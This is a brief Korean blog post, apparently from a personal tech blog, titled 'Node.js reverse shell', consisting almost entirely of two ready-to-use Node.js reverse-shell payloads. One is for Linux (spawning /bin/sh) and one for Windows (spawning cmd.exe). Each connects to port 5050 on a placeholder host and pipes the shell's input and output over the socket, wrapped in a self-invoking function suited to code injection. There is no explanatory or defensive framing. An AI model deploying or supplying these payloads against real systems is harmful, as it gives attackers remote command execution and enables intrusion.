⚙️백엔드/Node.js
Node.js - 리버스쉘
Janger
2021. 12. 4. 14:48
728x90
[Linux]
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(5050, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
[Windows]
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("C:\\Windows\\system32\\cmd.exe", []);
var client = new net.Socket();
client.connect(5050, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
728x90